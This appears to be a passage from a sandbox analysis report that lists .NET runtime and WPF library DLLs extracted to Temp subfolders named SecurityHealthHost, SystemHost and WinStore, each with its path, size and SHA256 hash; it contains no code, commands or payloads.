                                • SHA256 c05b78a7ebe99acd72e63a17b373d6bea075c6b7983a44d2983b37f40437b1ac
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework-SystemDrawing.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\PresentationFramework-SystemDrawing.dll
                                • Size 33KB
                                • SHA256 3924833d55ac952fe398a9be02676db4de84ac9639413d0766df3d92269b9bb2
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework-SystemXml.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\PresentationFramework-SystemXml.dll
                                • Size 33KB
                                • SHA256 2ef7237f624ab7e1bb60cf4399aa194e8c81a1d23394c9ee4540e933fbe5e522
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework-SystemXmlLinq.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\PresentationFramework-SystemXmlLinq.dll
                                • Size 29KB
                                • SHA256 77cee9727487126597f0b0ca0001d8158e86ace97202b92179806023f1edff93
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework.Aero.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\PresentationFramework.Aero.dll
                                • Size 433KB
                                • SHA256 7ecb22729cc77ae5860d2397d7e5ee1812facc9281a57ebada93c8d960f397af
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework.Aero2.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\PresentationFramework.Aero2.dll
                                • Size 437KB
                                • SHA256 9dbbf1d6488d15e7d197c624baf55a90eceb0fd86000408ddfa081cdb3093c7f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework.AeroLite.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\PresentationFramework.AeroLite.dll
                                • Size 233KB
                                • SHA256 77ad0485ce2bedbfe24462885fa9006393c9cf038548f8b5566db738594146e8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework.Classic.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\PresentationFramework.Classic.dll
                                • Size 265KB
                                • SHA256 2e138688eed9ce3dc87430d5c9547855058149e1782c059e5e2a1816648a53d4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework.Luna.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\PresentationFramework.Luna.dll
                                • Size 653KB
                                • SHA256 c2d0d41e19c5b501d22502440b8ba5313fd72bbf3e575477c326ae4f4e8fe74b
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework.Royale.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\PresentationFramework.Royale.dll
                                • Size 325KB
                                • SHA256 a79b07990f24c0a05282e88a9894fce4eb701f0296f3440c3b4057fb8d440071
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\PresentationFramework.dll
                                • Size 15.4MB
                                • SHA256 6249f64ba1f8c69964818340c2f032be8368769064f20e23ee34790a17ae64d4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationUI.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\PresentationUI.dll
                                • Size 1.2MB
                                • SHA256 0636b1bbc12d69cd0f0fc692eaee6237b5447b30cbbaf641e1a9c4cbcd0bd000
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                ReachFramework.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\ReachFramework.dll
                                • Size 1.5MB
                                • SHA256 ea73bf0d49e58b421fe176a50094febf3e343a6541955d82aff777c3f31efc90
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.CodeDom.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.CodeDom.dll
                                • Size 477KB
                                • SHA256 e9bb41c2f8697941c190767580e3b2f6458a2f7b5eaa688c618633a7c27f8c04
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Configuration.ConfigurationManager.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Configuration.ConfigurationManager.dll
                                • Size 1.0MB
                                • SHA256 a4d9749822977375fda1c372b2c1748535a2ee20e65b7bb575686953f8738c6e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Design.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Design.dll
                                • Size 21KB
                                • SHA256 8815865eea376b3557d26fb88435b65420855de9f98cccabecb62fab04818c8a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Diagnostics.EventLog.Messages.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Diagnostics.EventLog.Messages.dll
                                • Size 781KB
                                • SHA256 7f0d7531ee52348d8e23bde35b8e3ab599a17f9d668b68cee29ff4c67fe39bb6
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Diagnostics.EventLog.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Diagnostics.EventLog.dll
                                • Size 377KB
                                • SHA256 578ed07cf311cfafc82c11d327239be44693a32e46426118d9f74e6d0a5fd5a8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Diagnostics.PerformanceCounter.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Diagnostics.PerformanceCounter.dll
                                • Size 281KB
                                • SHA256 2e81a3197eb79fc9afadc9deb23c505e58ca03d7d55f705738f064a3fd614163
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.DirectoryServices.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.DirectoryServices.dll
                                • Size 1021KB
                                • SHA256 17e454a33c86b85c37c07b7f0eab70fde0ee93387f83dfb8495997d657408213
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Drawing.Design.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Drawing.Design.dll
                                • Size 14KB
                                • SHA256 69e295cfb023f65dabfcd25aea5f8c27029023d83327fbb29ca8c341a0eb2993
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Drawing.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Drawing.dll
                                • Size 20KB
                                • SHA256 0c5f3f2263d9e8a46803ce77c2f2de538a6b50b61bfcf4ea61bf5b70fc3748d5
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.IO.Packaging.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.IO.Packaging.dll
                                • Size 285KB
                                • SHA256 7810f7a228adc09b24b0df757b80a1e90658986633908f563487b4bb24cfd296
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Printing.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Printing.dll
                                • Size 957KB
                                • SHA256 75aa439c57c7bbde22a53f8fb3a72781b729c4d7dce167c1fe0dccc53e11e111
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Resources.Extensions.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Resources.Extensions.dll
                                • Size 133KB
                                • SHA256 2f1f7c0f4a94be5015930a918148e89a40a83b83c10e2655254219f3a30bb99c
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Security.Cryptography.Pkcs.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Security.Cryptography.Pkcs.dll
                                • Size 741KB
                                • SHA256 8da5fef64435020f4c704615cbc806142638b72ad13ece9e525805c3f16c4170
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Security.Cryptography.ProtectedData.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Security.Cryptography.ProtectedData.dll
                                • Size 53KB
                                • SHA256 3467af2e0773d2ec3874e5990a7c0efdd0ca0274106b4dc5589ef15a22cb11db
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Security.Cryptography.Xml.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Security.Cryptography.Xml.dll
                                • Size 453KB
                                • SHA256 405c7e4439b4873b99ac207d26626eb87c0ea95bbc231058d1c04790594a9c48
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Security.Permissions.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Security.Permissions.dll
                                • Size 181KB
                                • SHA256 4ae8012f4a7d579dc63c06db601de8312c563c4ace35673e578bff3b0ccf626f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Threading.AccessControl.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Threading.AccessControl.dll
                                • Size 81KB
                                • SHA256 bdd347534fe147848102e76a600e6a2a9bf2742a98e88e2d756df66029deecda
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Controls.Ribbon.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Windows.Controls.Ribbon.dll
                                • Size 1.4MB
                                • SHA256 74bde25d2f25c6e552b43de48bb0b7512c91eb829c1f3ab01c18cc3780935d8c
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Extensions.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Windows.Extensions.dll
                                • Size 113KB
                                • SHA256 91e8a2838ef87192f188f4e663f1ff2d1932683522aebfa8cb36af4c2ea3d7dc
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Design.Editors.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Windows.Forms.Design.Editors.dll
                                • Size 15KB
                                • SHA256 acfb84978699a504acc40bb6ec8164c3f8c30c2bae38c547cb8d04133ba42d2f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Design.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Windows.Forms.Design.dll
                                • Size 5.3MB
                                • SHA256 1fd584b257ae0f0e6fc045d67ad3e6c9dbf896b813c79fa547759eaf103f3b70
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Primitives.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthHost\ee8\System.Windows.Forms.Primitives.dll
                                • Size 2.9MB
                                • SHA256 1d18d1c91113ab6136e8960134febd0c4b8b3ea8a4e7e421a811578a2028651f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.VisualBasic.Core.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthSystray\618\Microsoft.VisualBasic.Core.dll
                                • Size 1.2MB
                                • SHA256 606c1ca3879814e86d7c5b462abeade820ba066755711dd58094dc4f651fd45d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.AppContext.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthSystray\618\System.AppContext.dll
                                • Size 14KB
                                • SHA256 e9dbd09fc195c609bc737a9562ad376be587aa3558f1d84aef9363de4e200edf
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Buffers.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthSystray\618\System.Buffers.dll
                                • Size 14KB
                                • SHA256 8988e36c90d8174f8984822614ab074679bcbd14232e8b4d1ec218e65a89df9a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Collections.Concurrent.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthSystray\618\System.Collections.Concurrent.dll
                                • Size 269KB
                                • SHA256 e7118198a3a8b22ca39685a273d05db7b4f6c73e35d8d4ce462f66173e61fa53
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Collections.Immutable.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SecurityHealthSystray\618\System.Collections.Immutable.dll
                                • Size 817KB
                                • SHA256 ba92cfa66bc95e7127f0ec88f453708986a9589f1397167fe697649b08f91d50
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Collections.Specialized.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Collections.Specialized.dll
                                • Size 101KB
                                • SHA256 31e89caf6d21a20acc8ebbd390dd74d6c1340fae3a4abcf24bbf5dfef714a67d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.ComponentModel.Annotations.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.ComponentModel.Annotations.dll
                                • Size 193KB
                                • SHA256 d29179fa1fb9e98b4005dc0c764572458dba96736a9af7c23f23f865254e7b37
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.ComponentModel.DataAnnotations.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.ComponentModel.DataAnnotations.dll
                                • Size 16KB
                                • SHA256 cb44a335cb27213d8670587f11eef9bfdd4b46c541c1e07e66f9824f362e967a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.ComponentModel.EventBasedAsync.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.ComponentModel.EventBasedAsync.dll
                                • Size 45KB
                                • SHA256 f022e0b45685fac64695ea127c51f380e1d81fe4f97306de20883c1151fb6d76
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.ComponentModel.TypeConverter.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.ComponentModel.TypeConverter.dll
                                • Size 729KB
                                • SHA256 6ffa8c5934389ad34c0b840b87fefd44fc7605b5215b3188010f2cbc71969f60
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.ComponentModel.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.ComponentModel.dll
                                • Size 29KB
                                • SHA256 d0d5df86a307db3f7d0d59a39664c04f4fbb581103b6a89aa21395cd3f707af8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Configuration.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Configuration.dll
                                • Size 18KB
                                • SHA256 fb31386de6858a09ace6176d31f1d560de3178bfee45f833a0eaea15a29f83ef
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Console.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Console.dll
                                • Size 169KB
                                • SHA256 1c1fe3bc8d89607f8fb59b55fefa2a842ae97dcf521ede30fe76637e9fdaa86a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Core.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Core.dll
                                • Size 22KB
                                • SHA256 3f0b5ae3d8b354090c97beee29a45699c1d0e4ed2bc1790b58c3c55c7d291d48
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Data.Common.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Data.Common.dll
                                • Size 2.7MB
                                • SHA256 2448428d9f907d31d49b68f7de81833f507648a739686372b54fd98a1173374b
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Data.DataSetExtensions.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Data.DataSetExtensions.dll
                                • Size 15KB
                                • SHA256 f62b99fc80328f3a8068e071caa8eaaed1ff1e75b5007b8b616c9f8089315166
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Data.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Data.dll
                                • Size 24KB
                                • SHA256 121cbaab3c34b43cdfed88aa507e1599d1973d99ab931e25c4c400dfa662ba07
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Diagnostics.Contracts.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Diagnostics.Contracts.dll
                                • Size 15KB
                                • SHA256 14161bd641030f48b381a9b59b0508078ed542bed655490c22fdce844b565773
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Diagnostics.Debug.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Diagnostics.Debug.dll
                                • Size 15KB
                                • SHA256 21094470a79e1a69683d3abe055b8dfb19ed6b23292515e582a35409d957488b
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Diagnostics.DiagnosticSource.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Diagnostics.DiagnosticSource.dll
                                • Size 405KB
                                • SHA256 e5486efb2f403bdf64769111c38c1263f3ab07825bda1583b75acfe3097ff5c2
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Diagnostics.FileVersionInfo.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Diagnostics.FileVersionInfo.dll
                                • Size 45KB
                                • SHA256 4293745ab2cdc39991b2f7e287f02b33bf6ce93b7b591924d6788e43b26fe21d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Diagnostics.StackTrace.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Diagnostics.StackTrace.dll
                                • Size 45KB
                                • SHA256 a035326a73e9d98862813d6be278cab8b43ca7d5cc22002014421d18b0860a41
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Diagnostics.TextWriterTraceListener.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Diagnostics.TextWriterTraceListener.dll
                                • Size 65KB
                                • SHA256 b8573e87667127b4a9c2402fbcdcbdce09061eea67e91fd0ead0da564e1cd869
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Diagnostics.Tools.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Diagnostics.Tools.dll
                                • Size 14KB
                                • SHA256 b807123c4fe888c4ab8e87cee20fa7e0b9edac7074721f9c10a6f056f030f7b8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Diagnostics.TraceSource.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Diagnostics.TraceSource.dll
                                • Size 141KB
                                • SHA256 b1b02e2cb4cd17187c3825f28bec194ea0ee031f87a5cd97656efba3aad758b7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Diagnostics.Tracing.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Diagnostics.Tracing.dll
                                • Size 15KB
                                • SHA256 ae576e80be706174fef86074c7776fdf81db3db22ebbd680c91c2085a3dffc81
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Drawing.Primitives.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Drawing.Primitives.dll
                                • Size 129KB
                                • SHA256 f7f5ab9f1e8b2dc14e5bbdf1b606a91dd57b8882cd289a68e85ef6e69ccdacf7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Dynamic.Runtime.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Dynamic.Runtime.dll
                                • Size 15KB
                                • SHA256 400f9d8a7529154a3b124956cfbde91a4d0038097e7b9de6b182ab13c3c025d8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Formats.Asn1.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Formats.Asn1.dll
                                • Size 237KB
                                • SHA256 a3dc5f43cfbe78c740d14109b908850bf25042da8e46266ceddd319973fda026
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Formats.Tar.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Formats.Tar.dll
                                • Size 269KB
                                • SHA256 af617e33e2e238109f7720da30f33d4998addddd82a1fee4cc2d1a49e613e641
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Globalization.Calendars.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Globalization.Calendars.dll
                                • Size 15KB
                                • SHA256 02b9adfd559e805f0af6b69e060617add087505ae39be4110143588c2567ddd3
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Globalization.Extensions.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Globalization.Extensions.dll
                                • Size 14KB
                                • SHA256 a812f856169464818511d9ae6e8d5e29916403b7a109bd80bdff8aaf5e691d99
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Globalization.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Globalization.dll
                                • Size 15KB
                                • SHA256 3b13bd484e767dc2c6bbca7357ff2b2875481e0995eb5c32d371595f31959333
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.IO.Compression.Brotli.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.IO.Compression.Brotli.dll
                                • Size 81KB
                                • SHA256 679e4ffe79bc61ab1e16578cdf99b409dff2b6eb8f02cca5294464b3698ad32e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.IO.Compression.FileSystem.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.IO.Compression.FileSystem.dll
                                • Size 14KB
                                • SHA256 f7b14ef65ab0e16814590662a9241670c42c45c7e68d56f24df75d8d382d384e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.IO.Compression.ZipFile.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.IO.Compression.ZipFile.dll
                                • Size 53KB
                                • SHA256 5e5635326f7284ff8867ea6463c4537565f44d8070433ed0cdd38eca506c89f4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.IO.Compression.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.IO.Compression.dll
                                • Size 257KB
                                • SHA256 18d502e14cd7ac03f7835e550dae21c802fa5db85e12f75ec55ec41a7a26242e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.IO.FileSystem.AccessControl.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.IO.FileSystem.AccessControl.dll
                                • Size 101KB
                                • SHA256 5afa226142f78d2c129d80fdeaced781adaa60ea045010fc1848628d0090c956
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.IO.FileSystem.DriveInfo.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.IO.FileSystem.DriveInfo.dll
                                • Size 53KB
                                • SHA256 f0266b4123ad8e3ae4b15d3b3b1cafe978c7ff1e2a039bdbbbd854c095dc49a5
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.IO.FileSystem.Primitives.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.IO.FileSystem.Primitives.dll
                                • Size 14KB
                                • SHA256 cf992e2777bbe9be8243428326b41b55c9616f91ef5da10e629194b0376e9fdc
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.IO.FileSystem.Watcher.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.IO.FileSystem.Watcher.dll
                                • Size 85KB
                                • SHA256 e911bf0f0b0fc6e9bf646b3c7b8ce45f5179237eee0e4bb6ef7e6c15f89ef2af
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.IO.FileSystem.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.IO.FileSystem.dll
                                • Size 15KB
                                • SHA256 bac270facf403c91e35d95bd01d2a57f774638abe5862417711dafca84af8aeb
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.IO.IsolatedStorage.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.IO.IsolatedStorage.dll
                                • Size 89KB
                                • SHA256 6c448f12fffc0a8b68a00bc06079215e838abb29bade8db971b70126de3135c0
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.IO.MemoryMappedFiles.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.IO.MemoryMappedFiles.dll
                                • Size 81KB
                                • SHA256 b6d6b637564f5802a7bfe807f495bc12106a87715c01a17721f827647c8b078d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.IO.Pipes.AccessControl.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.IO.Pipes.AccessControl.dll
                                • Size 15KB
                                • SHA256 861c4f4bf89b4f80eab58095c27cf4a16b36ee179ef8dff395cb9d000ea0c7f8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.IO.Pipes.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.IO.Pipes.dll
                                • Size 161KB
                                • SHA256 9941714479bd7a77748de99774ec1fb4f057815672f3fe90f99c5cc32fb60f15
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.IO.UnmanagedMemoryStream.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.IO.UnmanagedMemoryStream.dll
                                • Size 14KB
                                • SHA256 98f98c5f00f9defdc4bac577e925d6fcf7bdfea6748a50cc92553eb6547dacbf
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.IO.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.IO.dll
                                • Size 15KB
                                • SHA256 b6ae0c761f5fa2f0e67b7aadd20379a643523ba69be4f968e7aff65d658213f9
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Linq.Parallel.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Linq.Parallel.dll
                                • Size 785KB
                                • SHA256 4205a64c5754c3ccda5e093a41921fffa89377ee7738df16e55c0ebc241be77f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Linq.Queryable.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Linq.Queryable.dll
                                • Size 169KB
                                • SHA256 58a4ac5be4188645ae530d41472c0c2214a783d79f60ae679b0cab4c8e8863af
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Net.Http.Json.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Net.Http.Json.dll
                                • Size 125KB
                                • SHA256 2593041ca3de16fb5ca33eb07fb7c335fd28850fc41d1eed7a152e4814ebc3a8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Net.Http.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Net.Http.dll
                                • Size 1.7MB
                                • SHA256 9ae6470d6c15b56ded0b3c16c1990e140ff08ff534b12d2ff39125d66e8cbe43
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Net.HttpListener.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Net.HttpListener.dll
                                • Size 537KB
                                • SHA256 152d159a3d210d5ba1259de081428b088211be8ea15093e99a24d8b16e26e7bf
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Net.Mail.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Net.Mail.dll
                                • Size 421KB
                                • SHA256 84cfadb4546ec77917dff2a5906b28b2f1aac41cf01ff30bc6a2e7bf660981d1
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Net.NameResolution.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\SystemHost\f30\System.Net.NameResolution.dll
                                • Size 109KB
                                • SHA256 592e22636a2aa7b02850df841e35267104081ba1d29b98eef812bd89b7a8fe50
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClientSideProviders.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\518\UIAutomationClientSideProviders.dll
                                • Size 849KB
                                • SHA256 53b47fff828f71e16ce1bda4dc4be0ef7e5baae0a9b2c44e3f97b8aace0fc5aa
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationProvider.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\518\UIAutomationProvider.dll
                                • Size 57KB
                                • SHA256 7c58044fc21d4677f51ec99e426e1ca6fc327f6e105f806bfdad2d303cbdce73
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationTypes.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\518\UIAutomationTypes.dll
                                • Size 305KB
                                • SHA256 6617b7ce8e57c0bf4529490601d3e99ad8c91824e303f357e6b9148d04281c42
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                D3DCompiler_47_cor3.dll

